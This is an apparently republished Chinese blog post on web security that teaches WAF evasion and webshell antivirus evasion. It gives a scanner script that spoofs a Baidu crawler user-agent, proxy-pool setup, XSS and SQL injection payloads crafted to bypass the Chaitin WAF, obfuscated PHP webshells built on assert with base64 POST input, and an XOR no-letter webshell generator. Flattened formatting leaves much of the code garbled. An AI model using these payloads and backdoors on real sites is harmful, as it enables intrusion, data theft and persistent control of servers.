web安全-waf+免杀

张开发
2026/4/13 4:26:47 15 分钟阅读

分享文章

web安全-waf+免杀
识别是否有 WAF利用工具wafw00f 的安装及使用成功之后多几个文件夹配置百度的好像没有成功。。。。数据包中的 X -Powered-Bywaf 拦截各种情况(配合探针使用)拦截 head 头的请求此时扫描目录发现全部都是 200 可访问状态原因很多扫描器为了追求较快的反应速度都会使用 head 请求从而被 waf 拦截解决方法7kbscan 扫描工具选择 get 请求或者 post 请求拦截单个 IP 连续访问解决方法开启延迟推荐使用搜索引擎的 user-agent如百度的使用代码进行爬取importrequestsimporttimeheaders{Accept:text/html,application/xhtmlxml,application/xml;q0.9,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9,Accept-Encoding:gzip, deflate, br,Accept-Language:zh-CN,zh;q0.9,en;q0.8,en-GB;q0.7,en-US;q0.6,Cache-Control:max-age0,Connection:keep-alive,Cookie:PHPSESSID4d6f9bc8de5e7456fd24d60d2dfd5e5a,sec-ch-ua:Chromium;v92, Not A;Brand;v99, Microsoft Edge;v92,sec-ch-ua-mobile:?0,Sec-Fetch-Dest:document,Sec-Fetch-Mode:navigate,Sec-Fetch-Site:none,Sec-Fetch-User:?1,Upgrade-Insecure-Requests:1,User-Agent:Mozilla/5.0 (compatible; Baiduspider-render/2.0; http://www.baidu.com/search/spider.html)}forpathsinopen(php_b.txt,encodingutf-8): urlhttp://127.0.0.1/pikachupathspaths.replace(\n,)urlsurl paths proxy{http:127.0.0.1:7777}try: coderequests.get(urls,headersheaders,proxiesproxy).status_code# time.sleep(3)print(urls | str(code))except Exception as err: print(connect error)time.sleep(3)使用代理池推荐建议使用付费代理池稳定可以轻松解决含有 safedogBT阿里云等的探针。免费代理池搭建https://blog.csdn.net/weixin_48584917/article/details/121710521使用进入 Redis-x64-3.0.504 文件夹打开 cmd输入命令redis-server.exe redis.windows.conf启动 Redis 服务。再打开一个 cmd 窗口输入redis-server –service-install redis.windows.conf安装 Redis 到 Window 服务。关闭第一个 cmd 窗口第二个中输入redis-server –service-start启动 Windows 服务中的 Redis 服务。注如果报错先看看服务中是否已经打开或者先卸载 Redis 服务redis-server –service-uninstall进入 proxy_pool-master 文件夹打开 cmd输入命令python proxyPool.py schedule启动调度程序。再打开一个 cmd 命令窗口输入命令python proxyPool.py server启动 webApi 服务。到浏览器输入127.0.0.1:5010可选择目录如 127.0.0.1:5010/get启动 web 服务后, 默认配置下会开启 http://127.0.0.1:5010 的 api 接口服务:apimethodDescriptionparams/GETapi 介绍None/getGET随机获取一个代理可选参数:?typehttps过滤支持 https 的代理/popGET获取并删除一个代理可选参数:?typehttps过滤支持 https 的代理/allGET获取所有代理可选参数:?typehttps过滤支持 https 的代理/countGET查看代理数量None/deleteGET删除代理?proxyhost:ip绕过长亭 waf 的几个姿势反射型 xss/scriptvideo/onloadstart0;[1].some(confirm)source/video/onloadstart0;[1].some(confirm)source/sql 注入原参数参数 6为真参数 6)andinstr(1,1)in(1为假参数 6)andinstr(2,1)in(1爆出数据库用户名为 xxx参数 6)andinstr(user,xxx)in(1原参数参数 f%2C2为真参数 f%2C2)and1(1为假参数 f%2C2)and2(1爆出数据库用户名为 xxx参数 f%2C2)anduserlike(xxx原参数参数 yyy为真参数 yyy||1/1||为假参数 yyy||1/0||爆出数据库用户名长度为 3参数 yyy||1/(length(user)-3)||代码脚本后门免杀php 传参绕过原理绕过正则表达式匹配关键函数代码相当于把关键字的函数代码以参数值发送不在代码中体现?php$a$_GET[a];$aa$a.ert;$aa(base64_decode($_POST[X]));// 传入参数后相当于 assert(phpinfo());??aassxcGhwaW5mbygpOwphp 变量覆盖?php$ab;$bassert;$$a(base64_decode($_POST[x]));?php 加密变异http://www.phpjm.nethttps://www.phpjms.com/思路将 webshell 加密上传过程中则不会被检测出然后传参时使用参数加密绕过参数检测php 异或运算 无字符 webshell步骤1修改代码中的正则表达式并运行运行后生成一个 txt 文档包含所有可见字符的异或构造结果。?php /*author yu22x*/$myfilefopen(xor_rce.txt,w);$contents;for($i0;$i256;$i){for($j0;$j256;$j){if($i16){$hex_i0.dechex($i);}else{$hex_idechex($i);}if($j16){$hex_j0.dechex($j);}else{$hex_jdechex($j);}$preg/[a-z0-9]/i;// 根据题目给的正则表达式修改即可 if(preg_match($preg, hex2bin($hex_i))||preg_match($preg, hex2bin($hex_j))){echo;}else{$a%.$hex_i;$b%.$hex_j;$c(urldecode($a)^urldecode($b));if(ord($c)32ord($c)126){$contents$contents.$c. .$a. .$b.\n;}}}}fwrite($myfile,$contents);fclose($myfile);?步骤2运行 python 脚本即可# -*- coding: utf-8 -*-# author yu22ximportrequestsimporturllib from sysimport*importos def action(arg):s1s2foriinarg:fopen(xor_rce.txt,r)whileTrue:tf.readline()ift:breakift[0]i:#print(i)s1t[2:5]s2t[6:9]breakf.close()output(\s1\^\s2\)return(output)whileTrue:paramaction(input(\n[] your function))action(input([] your command));print(param)如[]your functionsystem[]your commandls(%13%19%13%14%05%0d|%60%60%60%60%60%60)(%0c%13|%60%60);好淘云 (haotaoyun.com) · 实时更新全网云服务器优惠 · 分享建站、运维及网络安全小技巧点击查看全网最新服务器优惠活动https://www.haotaoyun.com/new

更多文章